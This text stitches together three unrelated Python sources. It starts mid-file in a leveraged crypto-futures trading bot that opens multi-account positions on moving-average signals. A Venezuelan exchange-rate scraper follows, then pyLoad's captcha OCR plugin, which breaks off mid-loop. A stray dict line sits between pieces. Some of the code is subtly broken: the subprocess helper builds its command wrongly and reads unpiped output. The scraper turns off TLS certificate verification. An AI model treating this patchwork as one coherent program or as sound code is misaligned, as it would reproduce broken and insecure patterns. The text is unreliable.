        self.ma_percent, self.bar1, self.max_stop_loss, self.set_profit, self.risk_control = self.set_args(self.bar2)
        self.lever = "50"
        self.matrade_open_order = kwargs.get('posside', None)   # 直接开仓
        self.signal_recorder = {}
        self.last_price = ''
        self.avgpx = None

    def init_strategy(self, strategy_obj):
        strategy_obj.ma = self.ma
        strategy_obj.instid = self.instId
        strategy_obj.bar2 = self.bar2
        strategy_obj.save()
        return strategy_obj

    def drow_k(self, df, ma_list=None):
        ma_list = [self.ma]
        title = 'MY_test'
        # 设置颜色, edge的意思是设置K线边框的颜色，默认是黑色，
        # edge=’inherit’的意思是保持K线边框的颜色与K线实体颜色一致,
        # volume=’inherit’意思是将成交量柱状图的颜色设置为红涨绿跌，与K线一致。wick 引线
        my_color = mpf.make_marketcolors(up='red', down='green', edge='inherit', wick='inherit', volume='inherit')
        my_style = mpf.make_mpf_style(marketcolors=my_color)
        # 添加均线指标
        # 添加买卖点
        # marker参数用来设定交易信号图标的形状，marker=’^’表示向上的箭头， marker=’v’表示向下的箭头， marker=’o’表示圆圈。
        # color参数可以用来控制颜色，color=’g’表示绿色（green）, ‘y’表示黄色（yellow）， ‘b’表示蓝色（blue），可以根据自己的偏好设定不同的颜色。
        args_list = [mpf.make_addplot(df[ma_list])]
        args_list.append(mpf.make_addplot(df['signal_short'], scatter=True, markersize=80, marker="v", color='r'))
        # args_list.append(mpf.make_addplot(df['signal_long'], scatter=True, markersize=80, marker="v", color='r'))
        add_plot = args_list
        # 画K线
        mpf.plot(df, type='candle', addplot=add_plot, title=title, ylabel='prise(usdt)', style=my_style, volume=True, ylabel_lower='volume')
        # mpf.plot(df, type='candle', addplot=add_plot, title=title, ylabel='prise(usdt)', style=my_style)

    def start_my_trade(self):
        self.all_accountinfo_data_list = self.set_initialization_account_all(self.strategy_obj.accountinfo,
                                                                             self.strategy_obj.name,
                                                                             self.strategy_obj.instid,
                                                                             )
        if not self.all_accountinfo_data_list:
            self.log.info('no account info data')
            return
        if self.strategy_obj.status < 5:
            self.track_trading_status(1)
        self.has_order = self.get_positions()
        while True:
            self.signal_info_dict = {}
            if self.matrade_open_order:
                time.sleep(1)
            else:
                time.sleep(60)
            # 检测持仓
            # self.has_order = True
            if self.has_order:
                self.has_order, code = self.stop_order(profit=self.set_profit)
                if code == 1:
                    # 止盈， 结束程序
                    self.track_trading_status(0)
                    break

            if self.stop_loss == self.max_stop_loss:
                # 止损了2次， 退出程序
                self.log.info('止损%s次，退出程序' % self.max_stop_loss)
                print('止损%s次，退出程序' % self.max_stop_loss)
                self.track_trading_status(0)
                break

            if self.stop_loss < self.max_stop_loss and self.stop_loss > 0:
                # 止损了1次， 直接检测信号3
                if self.matrade_open_order:
                    break
                self.signal_info_dict = {}
                self.track_trading_status(3)
                self.signal_order_para = self.check_signal3(self.signal1)
                if self.signal_order_para:
                    if self.signal_order_para == 'no singnal':
                        # 未出现开仓信号， 停止交易
                        break
                    print()
                    print('已检测到信号3.。。。')
                    # 开仓
                    self.track_trading_status(4)
                    self.ready_order()
                    continue

            # 判断信号1
            # self.track_trading_status(1)
            self.signal1 = self.check_signal1()
            if not self.signal1:
                # print('等待信号1....................')
                continue

            self.signal_recorder["signal1"] = {"signal1": self.signal1}
            self.log.info('信号1已确认!')
            self.log.info(self.signal_recorder['signal1'])
            # 判断信号2
            self.track_trading_status(2)
            self.signal2 = self.check_signal2()
            if self.signal2:
                self.log.info("信号2已确认！")
                self.log.info(self.signal_recorder['signal2'])
                self.track_trading_status(3)
                self.signal_order_para = self.check_signal3(self.signal1)
                if self.signal_order_para:
                    if self.signal_order_para == 'no singnal':
                        # 未出现开仓信号， 停止交易
                        break
                    # 开仓
                    self.track_trading_status(4)
                    self.ready_order()

        # 结束循环，重置账户状态
        self.log.info('结束策略，重置账户状态')
        for accountinfo in self.all_accountinfo_data_list:
            obj = accountinfo['obj']
            obj.status = 0
            obj.save()

    def set_my_position(self, mybalance, atr):
        # 设置头寸
        currency = self.risk_control * float(mybalance) / atr
        sz = self.currency_to_sz(self.instId, currency)
        if sz < 1:
            sz = 0
        return int(sz)

    def trend_analyze(self, c_length=10):
        '''
        第一步： 判断趋势
            10根K线连续处于均线以下
        '''
        self.df = self._get_market_data(self.instId, self.bar2, [self.ma])
        up_count = 0
        down_count = 0
        for index, row in self.df.iterrows():
            # 多头判断
            if not row[self.ma]:
                continue
            if float(row['low']) > float(row[self.ma]) and row[self.ma]:
                up_count += 1
            else:
                up_count = 0

            if up_count >= c_length:
                # 多头趋势
                self.df.loc[index, 'signal_long'] = row['low']
                self.df.loc[index, 'signal_flag'] = 'long'
                # return 'bull'
            # 空头判断
            if float(row['high']) < float(row[self.ma]) and row[self.ma]:
                down_count += 1
            else:
                down_count = 0

            if down_count >= c_length:
                # 空头趋势
                self.df.loc[index, 'signal_short'] = row['high']
                self.df.loc[index, 'signal_flag'] = 'short'
                # return 'fall'
        # df.to_csv("test_MA_data.csv")

    def set_signal_1h(self):
        # 判断趋势
        try:
            data = self.df.iloc[-1, :]
            if data['signal_flag'] == 'long':
                trend_signal = 'long'
            elif data['signal_flag'] == 'short':
                trend_signal = 'short'
            else:
                trend_signal = False
            return trend_signal
        except Exception as e:
            # self.log.error('MA error......%s' % e)
            return False

    def get_long_signal_3min_confirm(self):
        """
        开多条件：
            1 下引线 大于实体
            2 vol是前K线的2倍
        """

        # df_3mins = self.get_3_min_data()
        # df_3mins = self.get_3min_data_history()
        df_3mins = self._get_market_data(self.instId, self.bar1, vol_ma=20, limit='100')
        before_volume = df_3mins.iloc[-2, :]['volume']
        row2 = df_3mins.iloc[-1, :]
        bar1_close = float(row2['close'])
        self.last_price = float(row2['close'])
        _volume = float(row2['volume'])
        _open = float(row2['open'])
        _low = float(row2['low'])
        entity = abs(bar1_close - _open)
        down_wick = min(bar1_close, _open) - _low
        vol_ma = float(row2['vol_ma'])
        # 引线, 成交量，价格
        if down_wick > 0.666 * entity:
            if _volume > 2 * float(before_volume):
                if _volume >= 2 * vol_ma:
                    code, bar2_ma = self.check_price_to_ma_pec(bar1_close)
                    if code:
                        # 满足条件
                        self.signal_info_dict['price'] = bar1_close
                        self.signal_recorder['signal3'] = {'bar1': self.bar1, 'high': float(row2['high']),
                                                           'open': _open, 'low': _low, 'close': bar1_close,
                                                           'volume': _volume, "vol_ma20": vol_ma,
                                                           "before_volume": before_volume, "bar2_ma": bar2_ma,
                                                           "side": "buy", "posSide": "long"}
                        self.record_price(df_3mins)
                        return {"side": "buy", "posSide": "long"}
        return False

    def get_short_signal_3min_confirm(self):
        """
        开空条件：
            1 上引线 大于实体
            2 vol是前K线的2倍
        """
        df_3mins = self._get_market_data(self.instId, self.bar1, vol_ma=20, limit='100')
        before_volume = df_3mins.iloc[-2, :]['volume']
        row2 = df_3mins.iloc[-1, :]
        bar1_close = float(row2['close'])
        self.last_price = float(row2['close'])
        _volume = float(row2['volume'])
        _open = float(row2['open'])
        _high = float(row2['high'])
        entity = abs(bar1_close - _open)
        up_wick = _high - max(bar1_close, _open)
        vol_ma = float(row2['vol_ma'])
        # 引线, 成交量，价格
        if up_wick >= 0.666 * entity:
            if _volume >= 2 * float(before_volume):
                if _volume >= 2 * vol_ma:
                    code, bar2_ma = self.check_price_to_ma_pec(bar1_close)
                    if code:
                        # 满足条件
                        self.record_price(df_3mins)
                        self.signal_recorder['signal3'] = {'bar1': self.bar1, 'high': _high, 'open': _open,
                                                           'low': float(row2['low']), 'close': bar1_close,
                                                           'volume': _volume, "vol_ma20": vol_ma,
                                                           "before_volume": before_volume, "bar2_ma": bar2_ma,
                                                           "side": "sell", "posSide": "short"}
                        return {"side": "sell", "posSide": "short"}
        return False

    def record_price(self, df):
        try:
            pd.set_option("display.max_columns", None)
            pd.set_option('display.width', 100)
            self.log.info('信号出现， 准备开仓')
            self.log.info(df.tail(2))
            # print('信号出现， 准备开仓')
            # print(df.tail(2))
        except Exception as e:
            pass

    '''
    def stop_order(self):
        """
        实时价格突破60MA. 且超过1个ATR值，平仓止盈
         """
        ma = int(re.findall(r"\d+", self.ma)[0])
        while True:
            time.sleep(1)
            self.log.info('等待止盈信号')
            print('等待止盈信号')
            self.df = self._get_candle_data(self.instId, self.bar2)
            self.df[self.ma] = self.df['close'].rolling(ma).mean()

            check_flag = self.check_price_to_ma(self.df)
            if check_flag:
                self.close_positions_all()
                self.has_order = False
                self.stop_loss = 0
                return self.has_order
            self.has_order = self.get_positions()
            if not self.has_order:
                # 已经触发了止损
                self.log.info('止损.......')
                print('止损.......')
                self.has_order = False
                self.stop_loss += 1
                return self.has_order
    '''

    def stop_order(self, profit):
        self.log.info('等待止盈信号')
        print('等待止盈信号')
        i = 0
        try:
            if profit:
                while True:
                    time.sleep(30)
                    self.track_trading_status(update_status=False)
                    result = self.tradeAPI.get_orders_history('SWAP', limit='1')
                    order_data = result.get('data')[0]
                    para = {"long": "sell", "short": "buy"}
                    if para.get(order_data.get('posSide')) == order_data.get('side'):
                        # 平仓单
                        self.has_order = self.get_positions()
                        if self.has_order:
                            self.log.error('止损止盈检查错误， 订单ID%s' % order_data.get('ordId'))
                        try:
                            self.stop_order_all()
                        except Exception as e:
                            self.log.error(e)
                        pnl = order_data.get('pnl')
                        if float(pnl) >= 0:
                            self.track_trading_status(7)
                            print('止盈')
                            self.log.info('止盈')
                            self.stop_loss = 0
                            return self.has_order, 1
                        else:
                            self.track_trading_status(8)
                            print('亏损')
                            self.log.info('亏损')
                            self.stop_loss += 1
                            if self.stop_loss < self.max_stop_loss:
                                bar1_num = int(re.findall(r"\d+", self.bar1)[0])
                                print('止损啦！本人需要冷静片刻。。。')
                                self.log.info('止损， 休息%s在继续运行' % self.bar1)
                                time.sleep(bar1_num*60)
                        return self.has_order, 0

            else:
                ma = int(re.findall(r"\d+", self.ma)[0])
                # 实时价格突破60MA. 且超过1个ATR值，平仓止盈
                while True:
                    time.sleep(1)
                    # self.log.info('等待止盈信号')
                    self.df = self._get_candle_data(self.instId, self.bar2)
                    self.df[self.ma] = self.df['close'].rolling(ma).mean()
                    check_flag = self.check_price_to_ma(self.df)
                    if check_flag:
                        self.close_positions_all(self.order_lst)
                        self.track_trading_status(0)
                        self.has_order = False
                        self.stop_loss = 0
                        return self.has_order, 1

                    self.has_order = self.get_positions()
                    if not self.has_order:
                        # 已经触发了止损
                        self.track_trading_status(0)
                        self.log.info('止损.......')
                        print('止损.......')
                        self.has_order = False
                        self.stop_loss += 1
                        return self.has_order, 0
        except Exception as e:
            self.log.error(e)

    def check_price_to_ma(self, df):
        # 实时价格突破60MA
        row = df.iloc[-1, :]
        ma = float(row[self.ma])
        high = float(row['high'])
        low = float(row['low'])
        # last = row['close']
        if high >= ma and low <= ma:
            atr = self.get_atr_data(df, 20)
            if self.side == 'buy':
                if ma - low >= atr:
                    return True
            else:
                if high - ma >= atr:
                    return True
        return False

    def check_price_to_ma_pec(self, bar1_close):
        # 实时价格是否接近均线百分比附近
        df = self._get_candle_data(self.instId, self.bar2, [self.ma])
        row = df.iloc[-1, :]
        # self.log.info(row)
        ma = float(row[self.ma])
        # high = float(row['high'])
        # low = float(row['low'])
        last_p = float(row['close'])
        code = self.price_to_ma(bar1_close, ma, self.ma_percent)
        # if code:
        #     print('价格在均线附近，准备开仓')
        #     self.log.info('价格在均线附近，准备开仓')
        # else:
        #     print('价格远离均线，信号无效，重新检测中')
        #     self.log.info('价格远离均线，信号无效，重新检测中')
        return code, ma

    def ready_order(self):
        # isolated cross保证金模式.全仓, market：市价单  limit：限价单 post_only：只做maker单
        # sz 委托数量
        atr = self.get_atr_data(self.df, 20)
        self.posSide = self.signal_order_para.get('posSide')
        self.side = self.signal_order_para.get('side')
        para = {
            "instId": self.instId,
            "tdMode": self.tdMode,
            "ccy": 'USDT',
            'side': self.side,
            'ordType': 'market',
            'px': '',
            'posSide': self.posSide
        }
        place_order_code = False
        place_order_error_code = False
        placc_algo_order_info_list = []
        for index, accountinfo in enumerate(self.all_accountinfo_data_list):
            orderinfo_dict = {}
            obj = accountinfo['obj']
            obj_api = accountinfo['obj_api']
            orderinfo_dict['lever'] = self.lever
            sz = self.set_my_position(accountinfo['balance'], atr)
            if sz == 0:
                msg = '仓位太小， 无法开仓 ---> *** 余额%sU ***' % accountinfo['balance']
                self.log.error(accountinfo['name'])
                self.log.error(msg)
                accountinfo['msg'] = msg
            para['sz'] = sz
            para['clOrdId'] = self.make_cl_ord_id("0" + str(index))
            orderinfo_dict.update(para)
            result = obj_api.tradeAPI.place_order(**para)
            # result = self.tradeAPI.place_order(**para)
            ordId, sCode, sMsg= self.check_order_result_data(result, 'ordId')
            if sCode == "0":
                accountinfo['status'] = 2
                place_order_code = True
                # 获取持仓信息
                # self.get_order_details(self.instId, ordId)
                self.has_order = self.get_positions()
                self.order_times += 1
                print('%s 开仓成功！！！！！！' % obj.account_text)
                self.log.info('%s 开仓成功！！！！！！' % obj.account_text)
                # self.track_trading_status(5)

                self.avgpx = self.last_price
                if self.order_lst:
                    self.avgpx = "%.2f" % float(self.order_lst[0].get('avgPx'))
                    orderinfo_dict['order_ctime'] = self.timestamp_to_date(self.order_lst[0].get('cTime'))
                    orderinfo_dict['order_utime'] = self.timestamp_to_date(self.order_lst[0].get('uTime'))

                orderinfo_dict['ordId'] = ordId
                orderinfo_dict['avgPx'] = self.avgpx

                # 设置止损止盈
                algo_para = self.set_place_algo_order_oco(obj_api, atr, sz, self.avgpx)
                algo_para['orderid'] = ordId
                algo_para['accountinfo_id'] = obj.id
                algo_para['instid'] = self.instId
                placc_algo_order_info_list.append(algo_para)
                orderinfo_dict.update(algo_para)
                orderinfo_dict['posside'] = self.posSide
                orderinfo_dict['side'] = self.side
                self.has_order = True
            else:
                place_order_error_code = True
                # self.track_trading_status(-1)
                msg = '%s 账户异常！！！开仓失败！！！！！！' % obj.account_text
                accountinfo['status'] = -1
                accountinfo['msg'] = msg
                self.log.error(msg)
                self.has_order = False
            accountinfo['orderinfo'] = orderinfo_dict

        if place_order_code:
            self.has_order = True
            self.track_trading_status(5)
            # 发消息提示
            if not self.matrade_open_order:
                self.send_msg_to_me(self.trader)
        if place_order_error_code:
            self.track_trading_status(6)

        # 保存订单信息
        for accountinfo in self.all_accountinfo_data_list:
            orderinfo_dict = accountinfo['orderinfo']
            orderinfo_dict['strategyid'] = self.strategy_obj.id
            accountinfo_obj = accountinfo['obj']

            # 保存订单信
            orderinfo_obj = self.set_trading_orderinfo(accountinfo_obj, **orderinfo_dict)
            accountinfo['orderinfo_obj'] = orderinfo_obj

            # 保存账户状态
            accountinfo_obj.status = accountinfo['status']
            accountinfo_obj.save()

        # 保存策略信息
        p = self.get_algo_p(atr)     # 止损点数
        self.signal_info_dict['posSide'] = self.posSide
        self.signal_info_dict['instId'] = self.instId
        self.signal_info_dict['side'] = self.side
        self.signal_info_dict['atr'] = atr
        self.signal_info_dict['p'] = p
        self.signal_info_dict['avgPx'] = self.avgpx
        self.set_strategy_info(self.signal_info_dict)

        # 保存委托订单信息
        for item in placc_algo_order_info_list:
            new_dict = {}
            for i, j in item.items():
                # 把key转小写
                new_dict[i.lower()] = j
            algo = PlaceAlgo(**new_dict, strategyid=self.strategy_obj.id)
            algo.save()

    def set_strategy_info(self, data):
        signalinfo = self.strategy_obj.signalinfo
        if signalinfo:
            try:
                signalinfo = json.loads(signalinfo)
            except Exception as e:
                self.log.info(e)
                # self.log.info(signalinfo)
            if isinstance(signalinfo, list):
                signalinfo.append(data)
            else:
                signalinfo = [data]
        else:
            signalinfo = [data]
        self.strategy_obj.signalinfo = signalinfo
        self.strategy_obj.save()

    def get_3_min_data(self):
        result = self.marketAPI.get_history_candlesticks(self.instId, limit="2")
        data_lst = result.get("data")
        columns_lst = ['time', 'open', 'high', 'low', 'close', 'volume', 'volCcy']
        self.df_3mins = pd.DataFrame(data_lst, columns=columns_lst)
        return self.df_3mins

    def get_3min_data_history(self):
        file_path = '../history_data/history_3m.csv'
        df = pd.read_csv(file_path, sep=',', parse_dates=['time'])
        df.set_index(['time'], inplace=True)

    def price_to_ma(self, p, ma, ma_percent=0.01):
        # 2 判断价格接近均线 %1 附近，
        pre = abs(float(p) - float(ma)) / float(ma)
        if pre <= ma_percent:
            return True
        return False

    def set_place_algo_order_price(self, atr, avgPx, posSide):
        """ 设置止损止盈价格
            -1是市价止盈止损

            止损（ %5 * 账户资金 ） 除以 （ 3 * 建仓单位）
        """
        # p = (0.05 * self.mybalance) / (3 * self.sz / 10)
        p = self.get_algo_p(atr)
        if self.set_profit:
            if posSide == 'long':
                tp = float(avgPx) + int(self.set_profit) * p
                sl = float(avgPx) - p
            else:
                tp = float(avgPx) - int(self.set_profit) * p
                sl = float(avgPx) + p
        else:
            if posSide == 'long':
                tp = float(avgPx) * 2
                sl = float(avgPx) - p
            else:
                tp = float(avgPx) / 2
                sl = float(avgPx) + p
        # -1 为市价平仓
        p2 = "-1"
        price_para = {
            "tpTriggerPx": "%0.2f" % tp,
            "tpOrdPx": p2,
            "slTriggerPx": "%0.2f" % sl,
            "slOrdPx": p2
        }
        return price_para

    def set_place_algo_order_oco(self, obj_api, atr, sz, avgpx):
        """策略委托下单
        ordType:
            conditional：单向止盈止损
            oco：双向止盈止损
            trigger：计划委托
            move_order_stop：移动止盈止损
            iceberg：冰山委托
            twap：时间加权委托

        tpTriggerPx 止盈触发价，如果填写此参数，必须填写 止盈委托价
        tpOrdPx 止盈委托价，如果填写此参数，必须填写 止盈触发价, 委托价格为-1时，执行市价止盈
        slTriggerPx 止损触发价
        slOrdPx 止损委托价
        tpTriggerPxType = 'last' 最新价格
        """
        side = {"long": "sell", "short": "buy"}.get(self.posSide)

        price_para = self.set_place_algo_order_price(atr, avgpx, self.posSide)

        try:
            # result = self.tradeAPI.place_algo_order(self.instId, self.tdMode, self.side, ordType=self.ordType,
            #                                         sz=self.sz, posSide=self.posSide, tpTriggerPx=tpTriggerPx, tpOrdPx=tpOrdPx,
            #                                         slTriggerPx=slTriggerPx, slOrdPx=slOrdPx,
            #                                         tpTriggerPxType='last', slTriggerPxType='last')

            result = obj_api.tradeAPI.place_algo_order(self.instId, self.tdMode, side, ordType=self.ordType,
                                                       sz=sz, posSide=self.posSide, **price_para,
                                                       tpTriggerPxType='last', slTriggerPxType='last')
        except Exception as e:
            self.log.error("委托单错误")
            self.log.error(e)
            return
        algoId, sCode, msg = self.check_order_result_data(result, "algoId")
        if sCode == "0":
            # 事件执行结果的code，0代表成功
            status = 1
            self.log.info("止损止盈设置成功 市价委托")
            try:
                result = obj_api.tradeAPI.order_algos_list(ordType=self.ordType, algoId=algoId, instType='SWAP')
                price_para['algo_ctime'] = self.timestamp_to_date(result.get('data')[0].get('cTime'))
            except Exception as e:
                self.log.error(e)
        else:
            # 事件执行失败时的msg
            status = -1
            msg = "止损止盈设置错误，，，%s" % msg
            self.log.error(msg)
        price_para['algoid'] = algoId
        price_para['posside'] = self.posSide
        price_para['side'] = side
        price_para['sz'] = sz
        price_para['scode'] = sCode
        price_para['smsg'] = msg
        price_para['status'] = status
        return price_para

    def check_signal1(self):
        # 1 首先判断是否处于趋势之中
        self.track_trading_status(update_status=False)
        self.trend_analyze()
        signal1 = self.set_signal_1h()
        if self.matrade_open_order:
            signal1 = self.matrade_open_order
        return signal1

    def check_signal2(self):
        self.log.info('正在判断信号2....................')
        print('正在判断信号2....................')

        while True:
            self.track_trading_status(update_status=False)
            time.sleep(5)
            # 获取现在的价格
            self.df = self._get_candle_data(self.instId, self.bar2, [self.ma])
            # 2 判断价格接近均线 %1 附近，
            row = self.df.iloc[-1, :]
            ma = row[self.ma]
            last_p = row['close']
            # 2 判断价格接近均线 %1 附近，
            signal2 = self.price_to_ma(last_p, ma, self.ma_percent)
            if self.matrade_open_order:
                signal2 = True
            if signal2:
                self.signal_recorder["signal2"] = {'bar2': self.bar2, 'last': last_p, 'ma': ma,
                                                   'ma_percent': self.ma_percent}

                return True

    def check_signal3(self, signal1):
        """
            检测3分钟信号
            如果3个大周期还未出现信号，则不再判断 退出程序
        """
        t_num = self.get_time_inv(self.bar2, self.big_bar_time)
        self.log.info("开始循环检测信号3")
        print("开始循环检测信号3")
        for t in range(t_num):
            self.track_trading_status(update_status=False)
            if signal1 == 'long':
                # 开多信号
                signal_order_para = self.get_long_signal_3min_confirm()
            elif signal1 == 'short':
                # 开空信号
                signal_order_para = self.get_short_signal_3min_confirm()
            else:
                signal_order_para = False
            if self.matrade_open_order:
                signal_order_para = {"side": "sell", "posSide": "short"} if self.matrade_open_order == 'short' else \
                    {"side": "buy", "posSide": "long"}
            if signal_order_para:
                self.log.info("信号3已确认！")
                self.log.info(self.signal_recorder.get('signal3'))
                return signal_order_para
            time.sleep(2)

        # 没出现信号
        self.log.info('未出现开仓信号， 停止交易')
        # print('未出现开仓信号 ，重新开始新一轮检测')
        self.track_trading_status(0)
        return 'no singnal'
        # raise Exception('未出现开仓信号， 停止交易')

    def get_time_inv(self, t, big_bar_time):
        t_num = int(re.findall(r"\d+", t)[0])
        if 'H' in t:
            t_num = t_num * 60 * 60
        elif 'm' in t:
            t_num = t_num * 60
        elif 'D' in t:
            t_num = t_num * 60 * 60 * 24
        else:
            pass
        return t_num * big_bar_time

    def set_args(self, bar):
        from ..conf import ma_trade_args
        from importlib import reload
        reload(ma_trade_args)
        try:
            data_dict = ma_trade_args.args_dict.get(bar, None)
        except Exception as e:
            self.log.error(e)
            raise
        self.log.info(data_dict)
        if data_dict is None:
            self.track_trading_status(0)
            self.log.error('大周期错误')
            raise Exception('大周期错误')
        ma_percent = data_dict.get('ma_percent')
        bar1 = data_dict.get('bar1')
        max_stop_loss = data_dict.get('stop_loss')
        set_profit = data_dict.get('set_profit')
        risk_control = data_dict.get('risk_control')
        return ma_percent, bar1, max_stop_loss, set_profit, risk_control

    def track_trading_status(self, status=0, update_status=True):
        strategy_obj = Strategy.objects.get(pk=self.strategy_obj.id)
        if strategy_obj.status == -2:
            self.log.info('已强行停止策略')
            raise Exception('已强行停止策略')
        # if self.accountinfo_obj.status == -2:
        #     raise Exception('已强行停止策略')
        if update_status:
            self.strategy_obj.status = status
            self.strategy_obj.save()
            self.log.info('更新运行状态--%s--' % status)

    def get_algo_p(self, atr):
        # 计算止损点位
        p = (0.05 * atr) / (3 * self.risk_control)
        return p

    def stop_order_all(self):
        para = {"long": "sell", "short": "buy"}
        acc_count = len(self.all_accountinfo_data_list)
        index_lst = []  # 记录已平仓ID
        i = 0
        while True:
            time.sleep(1)
            # 循环检测所有账户，手动平仓的可能耗时久
            if i == acc_count:
                i = 0
            if i in index_lst:
                i += 1
                continue
            accountinfo = self.all_accountinfo_data_list[i]
            result = accountinfo['obj_api'].tradeAPI.get_orders_history('SWAP', limit='1')
            order_data = result.get('data')[0]
            if para.get(order_data.get('posSide')) == order_data.get('side'):
                # 平仓单
                has_order = self.get_positions()
                if has_order:
                    self.log.error('止损止盈检查错误， 订单ID%s' % order_data.get('ordId'))
                # obj = accountinfo['obj']
                # obj.status = 0
                # obj.save()
                orderinfo_obj = accountinfo['orderinfo_obj']
                pnl = order_data.get('pnl')
                if pnl is None:
                    orderinfo_obj.pnl = pnl
                    orderinfo_obj.closeavgpx = "%.2f" % float(order_data.get('avgPx'))
                    orderinfo_obj.closeordid = order_data.get('ordId')
                    orderinfo_obj.close_position = 1
                    orderinfo_obj.save()
                index_lst.append(i)
            i += 1
            if len(index_lst) == acc_count:
                break

if __name__ == '__main__':
    ma = "MA10"
    my_ma_trade = MaTrade(ma)
    my_ma_trade.start_my_trade()

{'ma_trade_args': 'conf.ma_trade_args', 'reload': 'importlib.reload'}


import requests
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def _get_rate_by_id(tag_id: str, soup: BeautifulSoup):
    return soup.find(id=tag_id).find("strong").text.strip().replace(',', '.')

def _get_time(soup: BeautifulSoup):
    date = soup.find("span", "date-display-single")
    return [date.text.strip().replace('  ', ' '), date.get("content").split('T')[0]]

class BCV:
    def __init__(self, url: str) -> None:
        response  = requests.get(url, verify=False)
        response.raise_for_status()
        self.soup = BeautifulSoup(response.content, "html.parser")

    def _load(self) -> None:
        section_tipo_de_cambio_oficial = self.soup.find("div", "view-tipo-de-cambio-oficial-del-bcv")

        self.rates = {
            "eur": {"currency": "Euro", "price": _get_rate_by_id("euro", section_tipo_de_cambio_oficial)},
            "cny": {"currency": "Yuan chino", "price": _get_rate_by_id("yuan", section_tipo_de_cambio_oficial)},
            "try": {"currency": "Lira turca", "price": _get_rate_by_id("lira", section_tipo_de_cambio_oficial)},
            "rub": {"currency": "Rublo ruso", "price": _get_rate_by_id("rublo", section_tipo_de_cambio_oficial)},
            "usd": {"currency": "Dólar estadounidense", "price": _get_rate_by_id("dolar", section_tipo_de_cambio_oficial)},
            "date": _get_time(section_tipo_de_cambio_oficial)
        }

    def get_values(self, currency_code: str = None, name_property: str = None, prettify: bool = True):
        self._load()

        if not currency_code:
            return self.rates

        try:
            monitor_data = self.rates[currency_code.lower()]
            if name_property:
                value = monitor_data[name_property]
                return f'Bs. {value}' if prettify and name_property == 'price' else value
            return monitor_data
        except KeyError:
            raise KeyError("Does not match any of the properties that were provided in the dictionary. Most information: https://github.com/fcoagz/pyDolarVenezuela")


# -*- coding: utf-8 -*-

import os
import subprocess

from PIL import Image

from pyload import PKGDIR

from .plugin import BasePlugin

# import tempfile

class BaseOCR(BasePlugin):
    __name__ = "BaseOCR"
    __type__ = "base"
    __version__ = "0.28"
    __status__ = "stable"

    __description__ = """OCR base plugin"""
    __license__ = "GPLv3"
    __authors__ = [("pyLoad team", "admin@pyload.net")]

    def __init__(self, pyfile):
        self._init(pyfile.m.pyload)
        self.pyfile = pyfile
        self.init()

    def _log(self, level, plugintype, pluginname, args, kwargs):
        args = (self.__name__,) + args
        return self.pyfile.plugin._log(
            level, plugintype, self.pyfile.plugin.__name__, args, kwargs
        )

    def load_image(self, image):
        self.img = Image.open(image)
        self.pixels = self.img.load()
        self.result_captcha = ""

    def deactivate(self):
        """
        Delete all tmp images.
        """
        pass

    def threshold(self, value):
        self.img = self.img.point(lambda a: a * value + 10)

    def call_cmd(self, command, *args, **kwargs):
        """
        Run a command.
        """
        call = [command] + args
        self.log_debug("EXECUTE " + " ".join(call))

        popen = subprocess.Popen(call)
        popen.wait()

        output = popen.stdout.read() + " | " + popen.stderr.read()

        popen.stdout.close()
        popen.stderr.close()

        self.log_debug(f"Tesseract ReturnCode {popen.returncode}", f"Output: {output}")

    def run_tesser(
        self,
        subset=False,
        digits=True,
        lowercase=True,
        uppercase=True,
        pagesegmode=None,
    ):
        # tmp_tif = tempfile.NamedTemporaryFile(suffix=".tif")
        try:
            tmp_tif = open(
                os.path.join(self.pyload.tempdir, f"tmp_tif_{self.classname}.tif"),
                mode="wb",
            )
            tmp_tif.close()

            # tmp_txt = tempfile.NamedTemporaryFile(suffix=".txt")
            tmp_txt = open(
                os.path.join(self.pyload.tempdir, f"tmp_txt_{self.classname}.txt"),
                mode="wb",
            )
            tmp_txt.close()

        except IOError as exc:
            self.log_error(exc)
            return

        self.log_debug("Saving tiff...")
        self.img.save(tmp_tif.name, "TIFF")

        if os.name == "nt":
            command = os.path.join(PKGDIR, "lib", "tesseract", "tesseract.exe")
        else:
            command = "tesseract"

        args = [
            os.path.realpath(tmp_tif.name),
            os.path.realpath(tmp_txt.name).replace(".txt", ""),
        ]

        if pagesegmode:
            args.extend(["-psm", str(pagesegmode)])

        if subset and (digits or lowercase or uppercase):
            # tmp_sub = tempfile.NamedTemporaryFile(suffix=".subset")
            with open(
                os.path.join(
                    self.pyload.tempdir, "tmp_sub_{}.subset".format(self.classname)
                ),
                "wb",
            ) as tmp_sub:
                tmp_sub.write("tessedit_char_whitelist ")

                if digits:
                    tmp_sub.write("0123456789")
                if lowercase:
                    tmp_sub.write("abcdefghijklmnopqrstuvwxyz")
                if uppercase:
                    tmp_sub.write("ABCDEFGHIJKLMNOPQRSTUVWXYZ")

                tmp_sub.write("\n")
                args.append("nobatch")
                args.append(os.path.realpath(tmp_sub.name))

        self.log_debug("Running tesseract...")
        self.call_cmd(command, *args)
        self.log_debug("Reading txt...")

        try:
            with open(tmp_txt.name) as fp:
                self.result_captcha = fp.read().replace("\n", "")

        except Exception:
            self.result_captcha = ""

        self.log_info(self._("OCR result: ") + self.result_captcha)

        self.remove(tmp_tif.name, try_trash=False)
        self.remove(tmp_txt.name, try_trash=False)

        if subset and (digits or lowercase or uppercase):
            self.remove(tmp_sub.name, try_trash=False)

    def recognize(self, image):
        raise NotImplementedError

    def to_greyscale(self):
        if self.img.mode != "L":
            self.img = self.img.convert("L")

        self.pixels = self.img.load()

    def eval_black_white(self, limit):
        self.pixels = self.img.load()
        w, h = self.img.size
        for x in range(w):
            for y in range(h):
                if self.pixels[x, y] > limit:
                    self.pixels[x, y] = 255
                else:
                    self.pixels[x, y] = 0

    def clean(self, allowed):
        pixels = self.pixels

        w, h = self.img.size

        for x in range(w):
            for y in range(h):
                if pixels[x, y] == 255:
                    continue
                #: No point in processing white pixels since we only want to remove black pixel
                count = 0

                try:
                    if pixels[x - 1, y - 1] != 255:
                        count += 1

                    if pixels[x - 1, y] != 255:
                        count += 1

                    if pixels[x - 1, y + 1] != 255:
                        count += 1

                    if pixels[x, y + 1] != 255:
                        count += 1

                    if pixels[x + 1, y + 1] != 255:
                        count += 1

                    if pixels[x + 1, y] != 255:
                        count += 1

                    if pixels[x + 1, y - 1] != 255:
                        count += 1

                    if pixels[x, y - 1] != 255:
                        count += 1

                except Exception:
                    pass

                #: Not enough neighbors are dark pixels so mark this pixel
                #: To be changed to white
                if count < allowed:
                    pixels[x, y] = 1

        #: Second pass: this time set all 1's to 255 (white)
        for x in range(w):
            for y in range(h):
